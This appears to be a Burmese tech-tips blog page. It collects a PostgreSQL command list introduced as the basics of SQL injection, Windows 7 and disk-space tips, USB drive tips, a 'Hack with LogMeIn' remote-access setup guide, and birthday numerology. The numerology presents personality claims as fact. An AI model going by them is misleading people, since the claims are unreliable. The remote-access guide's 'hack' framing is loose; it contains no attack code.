CREATE CONSTRAINT TRIGGER — define a new constraint trigger
CREATE CONVERSION — define a user-defined conversion
CREATE DATABASE — create a new database
CREATE DOMAIN — define a new domain
CREATE FUNCTION — define a new function
CREATE GROUP — define a new user group
CREATE INDEX — define a new index
CREATE LANGUAGE — define a new procedural language
CREATE OPERATOR — define a new operator
CREATE OPERATOR CLASS — define a new operator class for indexes
CREATE RULE — define a new rewrite rule
CREATE SCHEMA — define a new schema
CREATE SEQUENCE — define a new sequence generator
CREATE TABLE — define a new table
CREATE TABLE AS — create a new table from the results of a query
CREATE TRIGGER — define a new trigger
CREATE TYPE — define a new data type
CREATE USER — define a new database user account
CREATE VIEW — define a new view
DEALLOCATE — remove a prepared query
DECLARE — define a cursor
DELETE — delete rows of a table
DROP AGGREGATE — remove a user-defined aggregate function
DROP CAST — remove a user-defined cast
DROP CONVERSION — remove a user-defined conversion
DROP DATABASE — remove a database
DROP DOMAIN — remove a user-defined domain
DROP FUNCTION — remove a user-defined function
DROP GROUP — remove a user group
DROP INDEX — remove an index
DROP LANGUAGE — remove a user-defined procedural language
DROP OPERATOR — remove a user-defined operator
DROP OPERATOR CLASS — remove a user-defined operator class
DROP RULE — remove a rewrite rule
DROP SCHEMA — remove a schema
DROP SEQUENCE — remove a sequence
DROP TABLE — remove a table
DROP TRIGGER — remove a trigger
DROP TYPE — remove a user-defined data type
DROP USER — remove a database user account
DROP VIEW — remove a view
END — commit the current transaction
EXECUTE — execute a prepared query
EXPLAIN — show the execution plan of a statement
FETCH — retrieve rows from a table using a cursor
GRANT — define access privileges
INSERT — create new rows in a table
LISTEN — listen for a notification
LOAD — load or reload a shared library file
LOCK — explicitly lock a table
MOVE — position a cursor on a specified row of a table
NOTIFY — generate a notification
PREPARE — create a prepared query
REINDEX — rebuild corrupted indexes
RESET — restore the value of a run-time parameter to a default value
REVOKE — remove access privileges
ROLLBACK — abort the current transaction
SELECT — retrieve rows from a table or view
SELECT INTO — create a new table from the results of a query
SET — change a run-time parameter
SET CONSTRAINTS — set the constraint mode of the current transaction
SET SESSION AUTHORIZATION — set the session user identifier and the current user identifier of the current session
SET TRANSACTION — set the characteristics of the current transaction
SHOW — show the value of a run-time parameter
START TRANSACTION — start a transaction block
TRUNCATE — empty a table
UNLISTEN — stop listening for a notification
UPDATE — update rows of a table
VACUUM — garbage-collect and optionally analyze a database

SQL Injection မွာ အသုံးၿပဳတဲ႔ အေၿခခံေတြပဲ ရွိပါေသးတယ္... ဒီထက္မ်ားတဲ႔ functions ေတြအမ်ားၾကီးရွိသလုိ ဒီထက္ပုိၿပီးနက္နဲတဲ႔ အသုံးၿပဳပုံေတြရွိပါတယ္... ေလ့လာတဲ႔သူေတြအေနနဲ႔ မိမိတုိ႔ကုိယ္တုိင္ SQL commands ေတြကုိ အရင္ဆုံး ကုိယ္တုိင္စမ္းစစ္ၿပီး မိမိတုိ႔ရဲ႕ SQL commands အသုံးၿပဳမႈအရည္အခ်င္းကုိ ၿမင့္တင္သင့္ပါတယ္။

Thursday, July 19

Window 7၌အသံုးျပဳလို႔မရေသာေဆာ့၀ဲလ္မ်ားကို Compatible ျဖစ္ေအာင္လုပ္နည္း



·


အခ်ိဳ႕ေသာေဆာ့၀ဲလ္မ်ား ၀င္းဒုိး 7 နဲ႔ compatible မျဖစ္ရင္ အင္စေတာ့ထည့္သြင္းလို႔မရ

တာေတြ႔ရတယ္။ ေနာက္ျပီးထည့္သြင္းလို႔ရျပန္ေတာ့လဲ အသံုးျပဳလို႔မရတာေတြျဖစ္လာျပန္

တယ္။ Window 7 ေၾကာင့္ ေဆာ့၀ဲလ္မ်ား Installation လုပ္ရာမွာ အခက္အခဲရွိလွ်င္

အသံုးျပဳႏုိင္ရန္ ပို႔စ္တင္လိုက္တာပါ။



လုပ္နည္းေလး...



၁။ Install လုပ္ခ်င္သည့္ ေဆာ့၀ဲလ္၏ icon ကုိ Right Click လုပ္၍ Properties ကုိ ဖြင့္ပါ။

၂။ Box က်လာလွ်င္ Compatibility tab ကုိ ေရြးပါ။



+/- အျပည့္အစံုသို႔



၃။ Run this program in compatibility mode for: ကုိ အမွန္ျခစ္ေပးပါ။

၄။ Window XP (Service Pack 3) သုိ႔မဟုတ္ အဆင္ေျပရာ Version ကုိ ေရြးခ်ယ္ပါ။

၅။ Apply လုပ္ Ok ။

၆။ မိမိ Install လုပ္ခ်င္သည့္ ေဆာ့၀ဲလ္ Setup.exe ဖုိင္ကုိ ျပန္ဖြင့္ၿပီး Install လုပ္ၾကည့္ပါ။



(အကယ္၍ အင္စေတာထည့္သြင္းထားျပီးလို႔ အသံုးျပဳလို႔မရရင္ ၎ေမာင္းထားျပီး

ေသာပရိုဂရမ္ (ပရိုဂရမ္ရဲ႕ ရဲ႕ icon) ကို Right Click ေထာက္၊ Properties ကို

၀င္ျပီး အေပၚက အစီအစဥ္အတိုင္းသာလုိက္လုပ္ပါ
Ref: technologymynoat/

ဟတ္ဒစ္Space မ်ားမ်ားရရွိျပီး ကြန္ျပဴတာျမန္ဆန္ေစရန္



ကြန္ပ်ဴတာ တစ္လံုးမွာ hard disk ရဲ႕ လုပ္ေဆာင္မႈ႔ ဟာ အေရးပါလွပါတယ္ မိမိရဲ႕ hard disk မွာ free space နည္းေနရင္ ကြန္ပ်ဴတာ လုပ္ေဆာင္မႈ ေႏွးလာၿခင္း၊ program မ်ား run ရာတြင္ ၾကန္႔ၾကာၿခင္းတို႔ ၿဖစ္ေပၚလာေလ႔ရွိပါတယ္…. Window တစ္ခု စတင္ လိုက္တဲ႔ အခါကတည္းက default disk setting ကိုWaste capacity ကို မ်ားစြာေပးထားတာပါ ကြ်န္ေတာ္ တို႔က အဲဒီမလို အပ္တဲ႔ wasted capacityကို ေလွ်ာ႔ခ်လိုက္ၿခင္းအားၿဖင္႔ free space မ်ားမ်ားရ ရွိေအာင္ လုပ္ေဆာင္နိုင္မွာ ၿဖစ္ပါတယ္..

လုပ္ေဆာင္ရမဲ႔ အဆင္႔နည္းနည္းမ်ားပါတယ္.. တစ္ဆင္႔ၿခင္းကို ေသေသခ်ာခ်ာ လုပ္ေဆာင္ သြားရင္ လြယ္လြယ္ေလးပါ……
ပထမဆံုး my computer ကို ဖြင္႔ပါ Local disk :C ရဲ႕ properties မွာ used space , free space ဘယ္ေလာက္ရွိတယ္ ဆိုတာကို မွတ္သားထားလိုက္ပါ ဒါမွသာ ကြ်န္ေတာ္တို႔ရဲ႕ လုပ္ေဆာင္မႈ႔ဟာ အက်ိဳးသက္ေရာက္ မႈ႔ရွိမရွိ ကို သိရွိနိုင္မွာ ပါ ..မွတ္သားၿပီးသြားရင္ေတာ႔

၁။ Start Menu , Control Panel မွ Power options ကို click ပါ

က်လာတဲ႔ Power options properties dialog box မွ Hibernate tab ကို ထပ္ၿပီး click လိုက္ပါဦး
ၿပီးရင္ Enable Hibernation ဆိုတဲ႔စာေၾကာင္းေလးကို uncheck လုပ္ၿပီး Apply , Ok ေပးပါမယ္..

၂။ Run box မွာ sysdm.cpl လို႔ရိုက္ထည္႔ၿပီးေတာ႔ enter ေခါက္ပါ

ရရွိလာတဲ႔ system properties dialog box မွ System Restore tab ကို ထပ္ၿပီး click ပါမယ္
Available drivers : ေအာက္က ( C ) ကို select ေပးၿပီး settings button ကို click ပါမယ္
Device Settings ဆိုတဲ႔ box တစ္ခုထပ္မံ က်ေရာက္လာတာ ကို ေတြ႔ရမွာပါ
Disk space to use: ေအာက္မွာ မူလက 12 % ( 6132 MB ) ရွိရာမွ 3 % ( 1386 MB) သို႔ ေလွ်ာ႔ခ်လိုက္ပါမယ္. ၿပီးရင္ Ok ေပးပါ..

၃။ Start Menu , Internet explorer ကို open ရပါမယ္
Menu bar မွ tools , Internet options ကို click ပါ
Delet files ကို ထပ္မံ click ပါမယ္ alert box တက္လာပါမယ္ ..
Delete all offline content ဆိုတဲ႔ စာေၾကာင္းကို check ေပးၿပီး Ok ေပးပါ

၄။ Delete files button ရဲ႕ ညာဘက္ေဘးက settings ကို click ပါမယ္

Amount of disk space to use : စာေၾကာင္းေအာက္က box ထဲမွာ မူလက 474 MB ေပးထားတာကို 50 MB လို႔ ၿပင္ရိုက္ၿပီး OK ,OK………..
ေနာက္ဆံုးအဆင္႔ကေတာ႔ shift+delete နဲ႔ ဖ်က္မထား မိလို႔ Recycle Bin ထဲက မလိုအပ္တဲ႔ ဖိုင္ေတြကို right click ေထာက္ၿပီး Empty Recycle Bin လုပ္ပါမယ္ ၿပီးပါၿပီဗ်ာ My computer ထဲ က Disk C မွာ free space ဘယ္ေလာက္တိုးလာ သလဲဆိုတာ စစ္ေဆးၾကည္႔လိုက္ပါဦး………

အႏွစ္ခ်ဳပ္ကေတာ႔..

• Recycle Bin: Default 10 % dropped to 1%
• Hibernation:Default ON ( for notebooks) switched OFF
• Internet explorer: Default 474 MB dropped to 50 MB
• System Restore: Default 12% dropped to 1% (~ 1 GB)

Tuesday, July 17

USB Pen Drive ၏ လၽွို႔ဝွက္ခ်က္ (၁ဝ)ခု

Hard Disk မွာ ေနရာလြတ္ နည္းပါးေနသူေတြအတြက္ အလုပ္မွအိမ္၊ အိမ္မွေက်ာင္း၊ အခ်က္အလက္ သင္ခန္းစာ၊ အလုပ္ဖိုင္ေတြကို သယ္ေဆာင္သြားလိုသူေတြအတြက္၊ စနစ္တစ္ခုလုံးကို လုံျခဳံစိတ္ခ်မွုျပည့္ဝစြာ အလုပ္လုပ္ လိုၿပီး အစီအစဥ္တက် ရွိလိုသူမ်ားအတြက္ USB Thumb Drive ရဲ့ လွ်ိဳ႕ဝွက္ခ်က္ေလးမ်ားကို စုစည္းေဖာ္ျပ လိုက္ပါတယ္။



1. USB Drive ကို icon အေနနဲ႔ သုံးနိုင္ပါတယ္တကယ္လို႔ ကြန္ပ်ဴတာမွာ USB Hub တစ္ခုကို ထားရွိသုံးစြဲမယ္ ဆိုရင္၊ ေနာက္ၿပီး USB အမ်ားႀကီးနဲ႔ Multiple USB port ေတြ ထားရွိ သုံးစြဲမယ္ဆိုရင္ အမ်ိဳးမ်ိဳး အစားစားကြဲျပားတဲ့ ကိုယ့္ရဲ့ USB ကို icon ေတြအေနနဲ႔ ေဖာ္ျပ ေပးထားနိုင္ပါတယ္။ အဲဒီလို ေဖာ္ျပေပးတဲ့ XP, Vista, Windows 7 ေတြမွာ ပါဝင္တဲ့ custom icon ေတြကို အသုံးျပဳၿပီး folder ေတြကို icon ပုံစံခ်ိန္းတဲ့ ပုံစံမ်ိဳးအဆင့္ပဲ လြယ္လြယ္ ကူကူ ရွိပါတယ္။ ပထမဦးဆုံးအေနနဲ႔ (.ico) format ကို drive ထဲမွာ အရင္ ေမာင္းထည့္ရ ပါမယ္။ အကယ္၍ web application တစ္ခုျဖစ္တဲ့ convert icon ကို အသုံးျပဳလည္း ရပါတယ္။ icon ကို အမ်ိဳးအစားကြဲျပားစြာနဲ႔ USB မွာ ရည္ညြန္းေဖာ္ျပေပးမွာ ျဖစ္တဲ့အတြက္ ဘယ္ USB က ဘာ file ေတြ ပါဝင္တယ္ဆိုတာ အလြယ္တကူ သိရွိရမွာပါ။



2. Google ၏ OS ကို အိတ္ထဲ ထည့္ထားနိုင္ပါတယ္Google ၏ OS ျဖစ္တဲ့ Chrome OS ကို USB drive ထဲမွာ ထည့္သြင္းၿပီး ကိုယ့္ကြန္ပ်ဴတာရဲ့ ဒုတိယ OS အျဖစ္ ထားရွိ သုံးစြဲနိုင္ပါတယ္။ အလြန္ျမန္ဆန္ၿပီး ကိုယ့္စိတ္ႀကိဳက္ custom ျပဳလုပ္ထားနိုင္ပါတယ္။ ဒီဇိုင္း အဆင္အျပင္ေတြကအစ ပါဝင္တဲ့ coding ေတြကို သြားျပန္ၿပီး ျပင္ဆင္ေရး သားနိုင္တဲ့ open source OS တစ္ခု ျဖစ္ပါတယ္။



3. Democra key ျဖင့္ လုံျခဳံစိတ္ခ်စြာ အလုပ္လုပ္သုံးစြဲနိုင္ပါတယ္တကယ္လို႔ USB drive ကိုျဖစ္ေစ၊ PC ကိုျဖစ္ေစ သုံးစြဲရတာ ကိုယ့္ရဲ့ကိုယ္ေရး အခ်က္အလက္ေတြနဲ႔ ကိုယ္ေရး ကိုယ္တာဖိုင္ေတြ မလုံျခဳံဘူးလို႔ ခံစားရရင္ Democra Key ကို download ရယူ၍ windows platform ေတြေပၚ မွာ အလုပ္လုပ္နိုင္ေသာ web application တစ္ခုလို သုံးစြဲနိုင္ပါတယ္။ အဲဒီအထဲမွာ ပုံရိပ္တည္းျဖတ္ တာေတြ၊ email ဖြင့္စစ္တာေတြ၊ ကိုယ္ေရးကိုယ္တာ အခ်က္အလက္ေတြကို encrypt ျပဳလုပ္တာေတြနဲ႔ Internet ကို browse လုပ္တာေတြ ျပဳလုပ္နိုင္ပါတယ္။ လုံျခဳံမွုအျပည့္အဝ ရွိပါတယ္။



4. XBMC Media Center ကို ထည့္သြင္းထားနိုင္ပါတယ္ကိုယ့္ PC မွာ WMP player နဲ႔ အျခား player မ်ားစြာရွိေပ မယ့္ XBMC live ကို ရယူၿပီး drive ထဲကို ထည့္သြင္း ထားမယ္ဆိုရင္ netbook မွာပဲျဖစ္ျဖစ္၊ laptop မွာပဲ ျဖစ္ျဖစ္ media file ေတြကို အလြယ္တကူ ၾကည့္ရွုခံစား နိုင္ပါတယ္။ အဲဒီအထဲမွာ အလြယ္တကူနဲ႔ လုပ္ေဆာင္နိုင္တဲ့ လုပ္ေဆာင္နိုင္တဲ့ လမ္းညြန္ခ်က္ေတြကို သင္ခန္းစာ ဖိုင္ေတြအေနနဲ႔ ၾကည့္ရွုၿပီး လိုက္လံလုပ္ေဆာင္နိုင္ပါတယ္။



5. Windows System တစ္ခုလုံးကို save လုပ္ထားနိုင္ပါတယ္တကယ္လို႔ Thumb drive ထဲမွာ Ubuntu စနစ္ တစ္ခုလုံးကို ထည့္သြင္းထားမယ္ဆိုရင္ windows ရဲ့စနစ္မွာ မွားယြင္းေနတဲ့အမွားေတြ၊ error ေတြ အားလုံးကို ubuntu ကတစ္ဆင့္ boot လုပ္ၿပီး ဝင္ေရာက္ၾကည့္ရွုရင္း ျပင္ဆင္နိုင္ပါတယ္။ ထို႔အတြက္ ပုန္းေအာင္းေနတဲ့ ဖိုင္ေတြ၊ ဖိုင္ေယာင္ေဆာင္ထားတဲ့ virus ေတြကို အလြယ္ တကူ ၾကည့္ရွုသတ္ပစ္နိုင္ၿပီး drive space ကို သန႔္သန႔္ရွင္းရွင္း analyze လုပ္နိုင္ပါတယ္။ Partition လုပ္တာ ေတြ၊ windows password ေတြကို ျပန္ေခၚ တာနဲ႔ ေပ်ာက္ဆုံးေနတဲ့ file ေတြကို ျပန္လည္ရွာေဖြတာေတြ ျပဳလုပ္ နိုင္ပါတယ္။ လုပ္ေဆာင္ပုံ နည္းအေသး စိတ္ကို lifehacker.com မွာ ၾကည့္ရွုနိုင္ပါတယ္။



6. USB Drive ကေနတစ္ဆင့္ Windows စနစ္တစ္ခုလုံးကို အမိန႔္ေပး ထိန္းခ်ဳပ္နိုင္ပါတယ္Windows ျပန္လည္ စတင္ခ်ိန္မွာ USB drive ကေန log off လုပ္တာေတြ၊ shut down လုပ္တာေတြကို USB drive ရဲ့ click ကို ႏွိပ္လိုက္ တာနဲ႔ အထဲထဲမွာ အမိန႔္ေပး file ေတြကို တန္းစီၿပီး ထည့္သြင္းဖို႔အတြက္ coding ေတြ လြယ္လင့္တကူ ရွိပါတယ္။



7. သယ္ေဆာင္ရ လြယ္ကူေသာ Windows Suite တစ္ခုလုံးကို ထည့္သြင္းသြားနိုင္ပါတယ္Portableapps.com မွာ ေရြ႕ေျပာင္း သယ္ယူရလြယ္တဲ့ software ကေလးေတြ၊ ဥပမာ Photoshop, acrobat reader, firefo×, gtalk စတဲ့ software ကေလးေတြကို download ရယူၿပီး USB drive ထဲ ထည့္ထားမယ္ ဆိုရင္ windows အတြက္ ေနရာ လြတ္ေတြမ်ားစြာ ထြက္ေပၚလာေစပါမယ္။ Memory အရမ္းစားတဲ့ software ေတြ ဆိုလို႔ရွိရင္လည္း memory အစား သက္သာသြားပါမယ္။ ဒါ့အျပင္ ႐ုံးက ကြန္ပ်ဴတာမွာ ကိုယ္လိုခ်င္တဲ့ software မရွိလို႔ အိမ္ျပန္အလုပ္လုပ္ လို႔ မရတဲ့သူေတြအတြက္လည္း အခ်ိန္ကုန္သက္သာ သြားေစပါတယ္။ Portable software ေတြဟာ software ႀကီးေတြက လြဲလို႔ function အစုံအလင္ ပါရွိၿပီး ပုံမွန္အတိုင္း အလုပ္ လုပ္နိုင္ပါတယ္။



8. USB Drive ထဲမွာ အေရးႀကီး Data ေတြကို ထားရွိနိုင္ပါတယ္တစ္ခ်ိဳ႕ မိသားစုနဲ႔ ပတ္သက္တဲ့ ကိုယ္ေရး ကိုယ္တာ ဖိုင္ေတြ၊ ကိုယ့္ရဲ့ အႀကံအစည္နဲ႔ ပတ္သက္တဲ့ idea စိတ္ကူး ေတြကို USB drive ထဲကို ထည့္သြင္း ထားၿပီး အဲဒီ USB ကို USB safeguard သုံးစြဲလိုက္ မယ္ဆိုရင္ USB ကို လက္လြတ္စပယ္ ထားခဲ့မယ္ဆို တာေတာင္မွ ကိုယ့္ဖိုင္ကို ဝင္ၾကည့္တဲ့အခါမွာ password ေတာင္းတာမ်ိဳးေတြ၊ ဖိုင္ကို ဝွက္ထားတာမ်ိဳးေတြ၊ ဖိုင္ပုံစံ ေဖ်ာက္ထားတာမ်ိဳးေတြ လုပ္ထားနိုင္တဲ့အတြက္ အဆင္ေျပပါတယ္။



9. လိုခ်င္တဲ့အခ်ိန္ေတြမွာ ဖိုင္ေတြကို ေရြ႕ေျပာင္းနိုင္ပါတယ္USB drive နဲ႔ hard drive ၾကားထဲမွာ ဖိုင္ေတြ ကို ေရြ႕ေျပာင္းတာ အလြန္လြယ္ကူပါတယ္။ USB ရဲ့ နည္းပညာ ျမင့္မားရင္ ျမင့္မားသလို ေရြ႕ေျပာင္းရ လြယ္ကူ ၿပီး ျမန္ဆန္ပါတယ္။ တကယ္လို႔ internet မွာ နာမည္ႀကီးေနတဲ့ ဖိုင္တင္တဲ့ upload sharing site ျဖစ္ၿပီး application မွာ ထုတ္ေပးထားတဲ့ drop bo× နဲ႔ဆိုရင္ USB ထဲက ဖိုင္ ေတြကို အဲဒီထဲထည့္တာေတြ၊ Online ေပၚမွာ ၾကည့္ရွုေနတဲ့အခ်ိန္မွာ ႐ုံးကေနတစ္ဆင့္ drop bo× ထဲ ထည့္သြင္းသိမ္းဆည္းထားၿပီး အိမ္ကေနတစ္ဆင့္ အလြယ္တကူ ျပန္လည္ၾကည့္ရွုနိုင္ပါတယ္။



10. Linu× OS ကို USB Drive ထဲ ထည့္သြင္းထားနိုင္ပါတယ္Linu× အႏြယ္ဝင္ OS ေတြဟာ virus အနတရာယ္ ကင္းရွင္းေစၿပီး သုံးစြဲရ လြယ္ကူတဲ့အျပင္ အခုဆိုရင္ ေရြ႕ေျပာင္း သယ္ေဆာင္ရ လြယ္ကူတဲ့ Portable Linu× OS ေတြပါ ထြက္ရွိလာတဲ့အတြက္ drive ထဲကို ထည့္သြင္းထားၿပီး အလုပ္လုပ္တဲ့အခါမွာ- ဥပမာ ႐ုံးမွာ virus ေတြ အလြန္ကိုက္ေနတဲ့အတြက္ ႐ုံးက virus ေတြ အိမ္က ကြန္ပ်ဴတာကို ပါလာမွာ စိုးရိမ္ေနသူမ်ားအတြက္ အလြန္ အသုံးဝင္ၿပီး ႐ုံးမွအိမ္၊ အိမ္မွ႐ုံး USB drive မွတစ္ဆင့္ လြယ္ကူစြာ အလုပ္လုပ္နိုင္မွာ ျဖစ္ပါတယ္။

Saturday, July 14

Hack with Logme In



ဒီေဆာ့၀ဲေလးရဲ့ရည္ရြယ္ခ်က္ကေတာ့တစ္ေနရာကကြန္ျပဴတာကေနနက္၀ပ္ခ်ိတ္ထားတဲ့
တစ္ျခားကြန္ျပဴတာတစ္လံုးကိုျပဳျပင္ႏိုင္ေစဖို႕ရည္ရြယ္တာပါ။ဒီေဆာ့၀ဲေလး အေၾကာင္းကို နားလည္သြားရင္
ဘယ္သူကိုမွသြားၿပီး ဒုတ္ခမေပး ဖို. အဲဒီအတြက္ ႀကိဳၿပီး ေျပာထားပရေစ။
၁။ www.logmein.com ကို၀င္ပါ။ ၿပီးရင္ Download logmein free ဆိုတဲ့ အစိမ္းေရာင္ အကြက္ေလးကို ကလစ္လုပ္ပါ။
ၿပီးရင္ အီးေမးလ္ တို. ဘာညာတို. ရိုက္ၿပီး အေကာင့္ ဖြြင့္ပါ။ ၿပီးရင္ Go ကို ႏွိပ္။
၂။ၿပီးရင္ add computer ကို ထပ္ႏိွပ္။ ၿပီးရင္ ေဆာ့၀ဲကို ေဒါင္းေလာ့ဆြဲပါ။
၃။ ၿပီးရင္ ေဆာ့၀ဲကို Run လိုက္ပါ။ Next => I agree => typical => Next =>Next=>
computer access code ဆိုၿပီးေတာင္းရင္ ေပးခ်င္တဲ့ password 8 လံုးေပးလိုက္ပါ။ ေအာက္မွာလည္း
အဲ ဒီ 8 လံုးပဲ ျပန္ရိုက္။ ကိုယ္ေပးထားတာေတာ့ မွက္ထားဦးေနာ္။
၄။ Email ေတာင္းရင္ ခုနက အေကာင့္ ဖြင့္တုန္းက ေပးခဲ့တဲ့ အီးေမးကို ျပန္ထည့္။ password ကလဲ အေကာင့္ဖြင့္တုန္းကေပးတဲ့ password ပဲအင။ ၿပီးရင္ Next ကို မႏွိပ္နဲ.ဦး။ logmein freee ဆိုတာေရြးေပးလိုက္ဦး။
ၿပီးမွ Next လုပ္။
၅။ အင္စေတာလုပ္ၿပီးသြားရင္ Restart ခ်ရလိမ့္မယ္။ ဒါဆိုရင္ ၿပီးသြားပါၿပီ။ Task Bar ရဲ့ ညာဘက္ေအာက္မွာ ေခြးေျခရာ
ပံုေလးေပၚေနပါလိမ့္မယ္။
၆။ အဲဒီ ကြန္ျပဴတာကို ဖြင့္ထားၿပီး
တျခားကြန္ျပဴတာကေနၿပီး အင္တာနက္က www.logmein.com ဆိုတဲ့ ၀က္ဆိုဒ္ကို ျပန္၀င္
၇။ ၀ဘ္ဆိုဒ္ရဲ့ ညာဘက္ ထိတ္နာမွာ Email မွာ ကိုယ္အေကာင့္ဖြင့္ထားတဲ့ အီးေမးလ္ ရိုက္ထည့္ ၊ ၿပီးရင္ Password ေပါ့။
Enter ။
က်န္တာေတြကေတာ့ ကိုယ့္ဘာသာစမ္းလို.ရလိမ့္မယ္လို. ထင္ပါတယ္။
နိဳင္ငံရပ္ျခားက ကြန္ျပဴတာေတြကို ကိုယ့္ေနရာကေနၿပီး လွမ္းျပင္နိဳင္ပါေစဗ်ာ။

MCDA မွဖ်က္ခုတ္လာသည္ (ပို႕အသစ္မတင္ျဖစ္ႏိုင္ေသာေၾကာင့္)

Wednesday, July 4

ေမြးေန ေမြးရက္မ်ားနဲ သူတို.၏ ဂုဏ္သတၱိေတြပါ.



တကယ္လို့..မင္းဟာ..လေတြရဲ့. 1st, 10th, 19th, 28th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၁) သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 2nd, 11th, 20th, 29th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၂) သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 3rd, 12th, 21st, 30th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၃) သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 4th, 13th, 22nd, 31st မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၄) သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 5th, 14th, 23rd မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၅) သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 6th, 15th, 24th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၆) သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 7th, 16th, 25th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ ၇ သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 8th, 17th, 26th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ ၈ သမား...

တကယ္လို့..မင္းဟာ..လေတြရဲ့. 9th, 18th, 27th မွာ ေမြးဖြားခဲ့မယ္ဆိုရင္.. ==
မင္းဟာ.. နံပါတ္ (၉) သမား...

*******************************************

နံပါတ္ (၁)

မင္းဟာ..ပါးနပ္တယ္..စကားကိုရွင္းရွင္းေျပာတက္တယ္..ဟာသဥာဏ္ရႊင္တယ္..
ေခါင္းမာတယ္. ရိုးသားတယ္.. တဖက္သားကို မနာလို ၀န္တိုတက္တယ္..ႀကင္နာတက္တယ္..
ေဒါသလြယ္တယ္..ေဖာ္ေရႊတယ္..တာ၀န္ယူလိုစိတ္ရွိတယ္..
အျမဲတမ္းေက်ာ္ႀကားသူတေယာက္ျဖစ္ခ်င္တယ္..
လူေတြအားလံုးရဲ့အထက္မွာပဲ ေနခ်င္တယ္.. တခါတရံမွာ လြတ္လပ္မႈကို ျမတ္နိုးတယ္..
သူတပါးရဲ့အုပ္ခ်ဳပ္မႈကို မခံခ်င္ဘူး...မိမိကိုယ္ကို ယံုႀကည္တက္တဲ့ လူစားမ်ိဳးျဖစ္တယ္..
ငယ္ငယ္ရႊယ္ရႊယ္နဲ့ အခ်စ္ကို ေတြ႔တက္ႀကတယ္..ဒါေပမယ့္..
ရင့္က်က္တဲ့အရြယ္ေရာက္မွပဲ ..... လက္ထက္ျဖစ္ႀကတာမ်ားပါတယ္..
အျမင္မတူတဲ့သူေတြနဲ့ ျပႆနာတက္ရတာကို နွစ္သက္တယ္..
အျငိဳးအေတးႀကီးျပီး..လက္စားေခ်တက္ႀကတယ္..
အသံုးအျဖဳန္းႀကီး သူတေယာက္ျဖစ္ေပမယ့္.....
မင္းမွာ အလုပ္အကိုင္ေကာင္းေတြ ရတက္ပါတယ္..
မင္းသာ အမ်ိဳးသားဆိုရင္..အရမ္းနာမည္ေက်ာ္မယ္.. ဆြဲေဆာင္မႈရွိတဲ့ခႏၶာကိုယ္ကုိ ပိုင္ဆိုင္ေနမွာျဖစ္ျပီ..
လူတိုင္းက မင္းကို ေလးစားေနပါလိမ့္မယ္..မင္းဟာ.ေနရာစံု ၀င္ဆန့္နိုင္တဲ့သူတေယာက္ျဖစ္တယ္..
ရပ္ကြက္ထဲမွသည္.. ဟိုအေပၚ ပါလီမန္ေတြထိကို
မင္းက ေနရာစံုသြားနိုင္သူပါ..ဘာျဖစ္လို့လဲ ဆိုေတာ့..ကိစၥေတာ္ေတာ္မ်ားမ်ားကို
မင္းက တဖတ္ကန္ခတ္ေအာင္ သိေနတက္တယ္ေလ..
ဒါေပမယ့္..မင့္ရဲ့ဘ၀မွာ..တခ်ိဳ့လူေတြက မင္းဘ၀နွိပ့္က်သြားေအာင္..
နာမည္ပ်က္သြားေအာင္ လုပ္တာမ်ိဳး..ႀကံုရတက္ပါတယ္...
ဒါကလည္း မဆန္းပါဘူး...လူေတြရဲ့မနာလိုမႈေႀကာင့္ပါပဲ..
မင့္ရဲ့မိသားစုဘ၀က ေအးခ်မ္းလြန္ပါတယ္.. မင္းဟာ အေဖာ္မြန္ေကာင္းကို ပိုင္ဆိုင္ျပီ..
ခ်စ္စဖြယ္သားသမီးေတြနဲ့ ေနထိုင္ရပါလိမ့္မယ္..မင္းဟာ..ေရွ့ေဆာင္သူ..
လြတ္လပ္မႈကို ျမတ္နိုးသူ.. ဘာသာတရားကို ကိုယ္ရႈိုင္းသူတေယာက္ပါပဲ..
မင္းရဲ့အေကာင္းဆံုးအေဖာ္မြန္ နံပါတ္ေတြကေတာ့.. 4, 6, 8 ...
သင့္တင္တဲ့သူေတြကေတာ့.. 3, 5, 7!!!

***********

နံပါတ္(၂)

မင္းဟာ ဘာႀကီးပဲျဖစ္ေနေန.. မင္းကို လူတိုင္းက ခ်စ္ႀကပါတယ္..
ဘာျဖစ္လို့လဲ ဆိုေတာ့..မင္းဟာလ နဲ့ တူလို့ပါ.. လကို လူတိုင္းက သေဘာက်သလိုမ်ိဳးေပါ့..
ျပီးေတာ့ မင္းဟာ..စိတ္ကူးအရမ္းယဥ္တက္သူ တစ္ဦးလည္းျဖစ္တယ္...
မင္းဟာ ကို္ယ့္ကိုယ္ကို ယံုႀကည္မႈအလြန္နည္းတယ္..မင္းဘ၀မွာ
ျပန္ျပီးသုံးသပ္သင့္စရာေတြခ်ည္းပဲ...
မင္းဟာ ခန့္မွန္းရခက္တဲ့သူ တစ္ဦးလည္းျဖစ္တယ္..
အခ်ိန္နဲ့အေျခအေနကို လိုက္ျပီး မင္းဟာအျမဲတမ္းေျပာင္းလဲေနတယ္..
တကိုယ္ေကာင္းဆန္ျပီ.. အနုပညာဘက္မွာ အားအေတာ္သန္တဲ့သူျဖစ္တယ္..
အေျပာအဆိုညက္ေညာေျပျပစ္တယ္.
မင္းရဲ့အျပဳအမႈေတြဟာ လလို့ပဲ.. ေနအလင္းေရာင္ ေပ်ာက္မွ လထြက္လာသလိုမ်ိဳး....
လူေတြ စိတ္ဓါတ္က်ေနတဲ့အခ်ိန္ဆို ေရာက္လာျပီ..
